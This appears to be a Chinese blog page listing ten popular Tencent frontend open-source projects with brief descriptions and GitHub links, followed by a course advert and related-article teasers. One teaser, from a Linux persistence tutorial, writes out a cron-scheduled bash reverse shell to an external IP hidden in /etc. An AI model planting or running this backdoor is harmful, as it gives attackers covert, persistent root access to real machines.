腾讯最热门的 10 款前端开源项目

news/2024/7/10 21:10:02 标签: 前端, 开源, javascript, 前端项目, web

作为国内知名的互联网公司,腾讯在前端领域做出了很多开源贡献。本文就来盘点腾讯最热门的 10 款前端开源项目!

wujie

无界微前端是一款基于 Web Components + iframe 微前端框架,具备成本低、速度快、原生隔离、功能强等一系列优点。其能够完善的解决适配成本、样式隔离、运行性能、页面白屏、子应用通信、子应用保活、多应用激活、vite 框架支持、应用共享等。

Github(star:2.3k):https://github.com/Tencent/wujie

TDesign

TDesign 是一套完整的企业级设计体系,拥有基于 Vue / React / 小程序 等技术栈的组件库解决方案。用于构建 设计统一/跨端多技术栈的前端应用时,TDesign 更有优势。TDesign 是一个 multi-repo, 其包含了多个代码仓库:

Github(star:2.5k):https://github.com/Tencent/tdesign

WeUI

WeUI 是一套同微信原生视觉体验一致的基础样式库,由微信官方设计团队为微信 Web 开发量身设计,可以令用户的使用感知更加统一。包含 button、cell、dialog、 progress、 toast、article、actionsheet、icon 等各式元素。

Github(star:26.7k):https://github.com/Tencent/weui

WePY

WePY 是一款让小程序支持组件化开发的框架,通过预编译的手段让开发者可以选择自己喜欢的开发风格去开发小程序。框架的细节优化,Promise,Async Functions 的引入都是为了能让开发小程序项目变得更加简单,高效。

Github(star:22.1k):https://github.com/Tencent/wepy

vConsole

一个轻量、可拓展、针对手机网页的前端开发者调试面板。vConsole 是框架无关的,可以在 Vue、React 或其他任何框架中使用。现在 vConsole 是微信小程序的官方调试工具。

Github(star:15.5k):https://github.com/Tencent/vConsole

TMagic

tmagic-editor 可视化开源项目是从魔方平台演化而来的开源项目,意在提供一个供开发者快速搭建可视化搭建平台的解决方案。

Github(star:3.3k):https://github.com/Tencent/tmagic-editor

Omi

Omi 框架是微信支付线研发部研发的下一代前端框架, 基于 Web Components 规范设计的组件化框架,可以使用 JSX/TSX 来写 HTML 结构。可以开发 PC Web、移动端 H5,也可以直接使用 Omi 开发小程序。

Github(star:12.5k):https://github.com/Tencent/omi

kbone

kbone 是一个致力于微信小程序和 Web 端同构的解决方案。kbone 实现了一个适配器,在适配层里模拟出了浏览器环境,让 Web 端的代码可以不做什么改动便可运行在小程序里。因为 kbone 是通过提供适配器的方式来实现同构,所以它的优势很明显:

  • 大部分流行的前端框架都能够在 kbone 上运行,比如 Vue、React、Preact 等。

  • 支持更为完整的前端框架特性,因为 kbone 不会对框架底层进行删改(比如 Vue 中的 v-html 指令、Vue-router 插件)。

  • 提供了常用的 dom/bom 接口,让用户代码无需做太大改动便可从 Web 端迁移到小程序端。

  • 在小程序端运行时,仍然可以使用小程序本身的特性(比如像 live-player 内置组件、分包功能)。

  • 提供了一些 Dom 扩展接口,让一些无法完美兼容到小程序端的接口也有替代使用方案(比如 getComputedStyle 接口)。

Github(star:747):https://github.com/Tencent/kbone

Face2FaceTranslator

面对面翻译小程序是微信团队针对中英文面对面沟通的场景开发的流式语音翻译小程序,基于微信同声传译插件封装实现,提供了中英文语音识别,文本翻译等功能。

Github(star:747):https://github.com/Tencent/Face2FaceTranslator

secguide

面向开发人员梳理的代码安全指南,旨在梳理API层面的风险点并提供详实可行的安全编码方案。代码安全指引可用于以下场景:开发人员日常参考、编写安全系统扫描策略、安全组件开发、漏洞修复指引。该指南包含了 C/C++、JavaScript、Node.js、Go、Java、Python的安全指南。

Github(star:11.9k):https://github.com/Tencent/secguide

学习编程语言最不能忽视的就是项目练习了,而且对很多同学来说也是最难搞定的,所以一定要加强这方面的学习。

网易9大前端项目就业实训营

网易名师+独家案例,3个月助你成为前端工程师

0基础入门前端开发,实战9个企业级项目,打通你的任督二脉

  • 实现Web前端技能升华,搭建前端开发工程师所具备的完善知识体系,巩固所学知识并能熟练应用
  • 巩固Web前端基础,熟练使用前端开发的核心语言和页面测试,进一步提升前端开发能力,夯实移动端的开发能力
  • .理解移动端的项目的开发流程与部署方式,学会使用专业的框架开发工具真正实战企业级项目的开发,并感受大型项目的落地流程,深入理解项目及源码
  • .学会使用一款Ul框架,自主高效完成项目制作
  • (感兴趣可以留言了解)

 

这些开源项目,你用过几个?欢迎在评论区留言~


http://www.niftyadmin.cn/n/231209.html

相关文章

热更新方案 HybridCLR 学习教程 |(一)原理及准备工作

文章目录 热更新方案 HybridCLR 学习教程(一)HybridCLR原理及准备工作前言一、学前准备1.1 资源下载1.2 文档参考学习二、关于HybridCLR2.1 HybridCLR特性:2.2 HybridCLR工作原理2.3 与其他流行的c#热更新方案的区别2.4 兼容性2.5 原理流程介绍三、快速上手(重要)3.1 体验…

电子的普线图、能级图,能量吸收和共振

一、圆形电子轨道谱线 光谱产生的原因:原子中的电子在轨道上发生跃迁。如莱曼系为电子从n2,3,4等轨道跃迁到n1的基态轨道产生。 圆形电子轨道:中心的圆点为原子核,中心最接近原子核为n1的电子轨道,轨道大小正比于n的平方。如下图…

100天精通Python丨办公效率篇 —— 11、Python自动化操作 Email(发送邮件、收邮件、邮箱客户端)

文章目录一、通过SMTP发送电子邮件1.1 定义邮件正文1.2 发送邮件二、收取电子邮件2.1 配置账户信息2.2 连接邮箱服务器2.3 搜索返回消息ID2.4 读取邮件三、使用邮件客户端发送邮件大家好,我是你们的好朋友西红柿!今天咱们聊一聊关于Python怎么操作邮件的…

【AutoGPT】你自己运行,我先睡了—— ChatGPT过时了吗?

系列文章目录 【AI绘画】Midjourney和Stable Diffusion教程_山楂山楂丸的博客-CSDN博客 目录 系列文章目录 前言 一、AutoGPT是什么? 二、AutoGPT带来的利弊 三、AutoGPT和ChatGPT区别 四、未来 总结 前言 ChatGPT是否过时?AutoGPT的兴起&#…

C++输入输出、缺省参数、函数重载【C++初阶】

目录 一、C输入&输出 二、缺省参数 1、概念 2、分类 (1)全缺省 (2)半缺省 三、函数重载 1、概念 2、原理------名字修饰 一、C输入&输出 在C语言中,我们常用printf和scanf这两个函数进行输入输出。 …

【权限维持】LinuxRootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…

C++初阶 -1- C++入门part2-引用

文章目录6.引用什么是引用?引用的使用引用的应用传值、传引用效率比较权限引用和指针的区别⭐7.内联函数8.auto关键字9.基于范围的for循环10.指针空值——nullptr6.引用 什么是引用? “别名” int a 0; int& b 0;👆即 地址为0x00000…

Linux 配置静态IP(固定IP)

Linux 配置静态IP(固定IP)1. 查看当前网络信息2. 修改文件(重要)2.1执行命令:2.2 修改文件2.3 重启网络注意: 如果你使用的是virtualbox 或者其他的虚拟机软件的话,请看到最后; 1. 查…